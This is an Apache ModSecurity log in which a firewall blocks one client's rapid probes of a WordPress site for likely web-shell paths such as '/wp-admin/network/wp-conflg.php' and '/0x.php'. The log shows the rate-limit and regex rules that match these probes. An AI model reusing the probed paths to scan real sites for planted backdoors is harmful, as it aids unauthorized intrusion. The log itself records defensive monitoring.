[Sun Mar 01 05:30:43.684566 2026] [:error] [pid 8688:tid 8702] [client 20.104.124.39:1508] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaNegzHJ4Nn-RvulD0qPSQAAAUw"]
[Sun Mar 01 05:30:46.320180 2026] [:error] [pid 8688:tid 8701] [client 20.104.124.39:1519] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaNehjHJ4Nn-RvulD0qPVQAAAUs"]
[Sun Mar 01 05:30:48.624852 2026] [:error] [pid 24576:tid 24599] [client 20.104.124.39:1421] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaNeiIvfb5CnctJh070DxgAAARM"]
[Sun Mar 01 05:30:49.700259 2026] [:error] [pid 24576:tid 24592] [client 20.104.124.39:1509] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaNeiYvfb5CnctJh070DyQAAAQw"]
[Sun Mar 01 05:30:50.226467 2026] [:error] [pid 21158:tid 21199] [client 20.104.124.39:1494] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaNeijriSIe3-pWnbPbjAgAAAEY"]
[Sun Mar 01 05:30:51.218439 2026] [:error] [pid 24576:tid 24596] [client 20.104.124.39:1535] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaNei4vfb5CnctJh070DzgAAARA"]
[Sun Mar 01 05:30:52.256331 2026] [:error] [pid 24576:tid 24581] [client 20.104.124.39:1409] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaNejIvfb5CnctJh070D0wAAAQI"]
[Sun Mar 01 05:30:54.541545 2026] [:error] [pid 21263:tid 21277] [client 20.104.124.39:1420] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaNejtAxjzLvN1upBhnnCQAAAMo"]
[Sun Mar 01 05:30:56.960300 2026] [:error] [pid 8688:tid 8692] [client 20.104.124.39:1438] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaNekDHJ4Nn-RvulD0qPdQAAAUI"]
[Sun Mar 01 05:30:58.935772 2026] [:error] [pid 21156:tid 21171] [client 20.104.124.39:1434] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaNekqsaG_9IkG8N2p3qvAAAAAU"]
[Sun Mar 01 05:31:02.565250 2026] [:error] [pid 24576:tid 24593] [client 20.104.124.39:1428] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaNelovfb5CnctJh070D6QAAAQ0"]
[Sun Mar 01 05:31:08.640251 2026] [:error] [pid 8688:tid 8695] [client 20.104.124.39:1499] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaNenDHJ4Nn-RvulD0qPogAAAUU"]
[Sun Mar 01 05:31:12.992475 2026] [:error] [pid 21156:tid 21176] [client 20.104.124.39:1497] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaNeoKsaG_9IkG8N2p3q9AAAAAo"]
[Sun Mar 01 05:31:15.638774 2026] [:error] [pid 8688:tid 8695] [client 20.104.124.39:17349] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaNeozHJ4Nn-RvulD0qP5wAAAUU"]
[Sun Mar 01 05:31:23.240852 2026] [:error] [pid 8688:tid 8697] [client 20.104.124.39:17375] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaNeqzHJ4Nn-RvulD0qQHQAAAUc"]
[Sun Mar 01 05:31:25.161639 2026] [:error] [pid 8688:tid 8709] [client 20.104.124.39:17359] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaNerTHJ4Nn-RvulD0qQJQAAAVM"]
[Sun Mar 01 05:31:28.637806 2026] [:error] [pid 21158:tid 21217] [client 20.104.124.39:17354] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaNesDriSIe3-pWnbPbjFQAAAFg"]
[Sun Mar 01 05:31:31.599812 2026] [:error] [pid 24576:tid 24582] [client 20.104.124.39:1507] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaNes4vfb5CnctJh070EXgAAAQM"]
[Sun Mar 01 05:31:34.797356 2026] [:error] [pid 8688:tid 8708] [client 20.104.124.39:1408] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aaNetjHJ4Nn-RvulD0qQYgAAAVI"]
[Sun Mar 01 05:31:40.438272 2026] [:error] [pid 21263:tid 21287] [client 20.104.124.39:1514] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aaNevNAxjzLvN1upBhnnagAAANQ"]
[Sun Mar 01 05:31:46.545807 2026] [:error] [pid 8688:tid 8708] [client 20.104.124.39:1529] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aaNewjHJ4Nn-RvulD0qQowAAAVI"]
[Sun Mar 01 05:31:50.504707 2026] [:error] [pid 21159:tid 21242] [client 20.104.124.39:1431] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaNexuLi3ouy1NZIkgomMgAAAJU"]
[Sun Mar 01 05:31:56.579935 2026] [:error] [pid 21158:tid 21213] [client 20.104.124.39:17365] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaNezDriSIe3-pWnbPbjNQAAAFQ"]
[Sun Mar 01 05:32:01.707510 2026] [:error] [pid 8688:tid 8709] [client 20.104.124.39:17370] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaNe0THJ4Nn-RvulD0qRKwAAAVM"]
[Sun Mar 01 05:32:04.691214 2026] [:error] [pid 21263:tid 21280] [client 20.104.124.39:1466] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaNe1NAxjzLvN1upBhnnyQAAAM0"]
[Sun Mar 01 05:32:06.583405 2026] [:error] [pid 21159:tid 21234] [client 20.104.124.39:17377] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaNe1uLi3ouy1NZIkgomYwAAAI0"]
[Sun Mar 01 05:32:10.200239 2026] [:error] [pid 24576:tid 24593] [client 20.104.124.39:1436] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaNe2ovfb5CnctJh070FEgAAAQ0"]
[Sun Mar 01 05:32:12.629784 2026] [:error] [pid 24576:tid 24592] [client 20.104.124.39:1474] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaNe3Ivfb5CnctJh070FJAAAAQw"]
[Sun Mar 01 05:32:15.246765 2026] [:error] [pid 21263:tid 21270] [client 20.104.124.39:1453] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaNe39AxjzLvN1upBhnn5QAAAMM"]
[Sun Mar 01 05:32:16.378547 2026] [:error] [pid 8688:tid 8693] [client 20.104.124.39:1528] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaNe4DHJ4Nn-RvulD0qRcAAAAUM"]
[Sun Mar 01 05:32:18.838206 2026] [:error] [pid 8688:tid 8705] [client 20.104.124.39:1520] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaNe4jHJ4Nn-RvulD0qRggAAAU8"]
[Sun Mar 01 05:32:19.800195 2026] [:error] [pid 21159:tid 21242] [client 20.104.124.39:1414] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaNe4-Li3ouy1NZIkgombgAAAJU"]
[Sun Mar 01 05:32:29.329101 2026] [:error] [pid 21158:tid 21216] [client 20.104.124.39:1441] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaNe7TriSIe3-pWnbPbjZgAAAFc"]
[Sun Mar 01 05:32:30.970601 2026] [:error] [pid 8688:tid 8711] [client 20.104.124.39:17372] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaNe7jHJ4Nn-RvulD0qR0wAAAVU"]
[Sun Mar 01 05:32:34.339272 2026] [:error] [pid 8688:tid 8706] [client 20.104.124.39:1419] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaNe8jHJ4Nn-RvulD0qR9AAAAVA"]
[Sun Mar 01 05:32:39.120955 2026] [:error] [pid 24576:tid 24595] [client 20.104.124.39:1412] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaNe94vfb5CnctJh070FvAAAAQ8"]
[Sun Mar 01 05:32:46.729832 2026] [:error] [pid 8688:tid 8701] [client 20.104.124.39:1518] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaNe_jHJ4Nn-RvulD0qSSQAAAUs"]
[Sun Mar 01 05:32:50.959023 2026] [:error] [pid 8688:tid 8697] [client 20.104.124.39:1504] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaNfAjHJ4Nn-RvulD0qSdQAAAUc"]
[Sun Mar 01 05:32:58.431014 2026] [:error] [pid 24576:tid 24600] [client 20.104.124.39:17362] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aaNfCovfb5CnctJh070GBAAAARQ"]
[Sun Mar 01 05:33:05.628051 2026] [:error] [pid 8688:tid 8707] [client 20.104.124.39:17369] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aaNfETHJ4Nn-RvulD0qTEwAAAVE"]
[Sun Mar 01 05:33:09.755900 2026] [:error] [pid 21159:tid 21239] [client 20.104.124.39:17351] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aaNfFeLi3ouy1NZIkgomxwAAAJI"]
[Sun Mar 01 05:33:18.544196 2026] [:error] [pid 8688:tid 8704] [client 20.104.124.39:1526] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaNfHjHJ4Nn-RvulD0qTWAAAAU4"]
[Sun Mar 01 05:33:24.468193 2026] [:error] [pid 21263:tid 21274] [client 20.104.124.39:1443] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaNfJNAxjzLvN1upBhnolwAAAMc"]
[Sun Mar 01 05:33:37.098959 2026] [:error] [pid 21159:tid 21241] [client 20.104.124.39:1413] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaNfMeLi3ouy1NZIkgonIAAAAJQ"]
[Sun Mar 01 05:33:40.162163 2026] [:error] [pid 8688:tid 8700] [client 20.104.124.39:1493] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaNfNDHJ4Nn-RvulD0qULQAAAUo"]
[Sun Mar 01 05:33:46.021466 2026] [:error] [pid 21263:tid 21276] [client 20.104.124.39:17367] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaNfOtAxjzLvN1upBhnpFAAAAMk"]
[Sun Mar 01 05:33:48.625717 2026] [:error] [pid 24576:tid 24593] [client 20.104.124.39:1484] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaNfPIvfb5CnctJh070G-gAAAQ0"]
[Sun Mar 01 05:33:52.060108 2026] [:error] [pid 24576:tid 24599] [client 20.104.124.39:1448] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaNfQIvfb5CnctJh070HBgAAARM"]
[Sun Mar 01 05:33:54.153471 2026] [:error] [pid 21156:tid 21174] [client 20.104.124.39:1506] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaNfQqsaG_9IkG8N2p3r4QAAAAg"]
[Sun Mar 01 05:33:55.925668 2026] [:error] [pid 21156:tid 21187] [client 20.104.124.39:1435] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaNfQ6saG_9IkG8N2p3r5AAAABU"]
[Sun Mar 01 05:33:59.317601 2026] [:error] [pid 8688:tid 8713] [client 20.104.124.39:1432] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaNfRzHJ4Nn-RvulD0qUlwAAAVc"]
[Sun Mar 01 05:34:01.717668 2026] [:error] [pid 24576:tid 24595] [client 20.104.124.39:1455] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaNfSYvfb5CnctJh070HIwAAAQ8"]
[Sun Mar 01 05:34:04.058560 2026] [:error] [pid 24576:tid 24602] [client 20.104.124.39:1440] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaNfTIvfb5CnctJh070HQQAAARY"]
[Sun Mar 01 05:34:06.508742 2026] [:error] [pid 8688:tid 8704] [client 20.104.124.39:1439] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaNfTjHJ4Nn-RvulD0qUvQAAAU4"]
[Sun Mar 01 05:34:08.969438 2026] [:error] [pid 8688:tid 8701] [client 20.104.124.39:1498] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaNfUDHJ4Nn-RvulD0qU1gAAAUs"]
[Sun Mar 01 05:34:12.009877 2026] [:error] [pid 8688:tid 8710] [client 20.104.124.39:1532] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaNfVDHJ4Nn-RvulD0qU8wAAAVQ"]
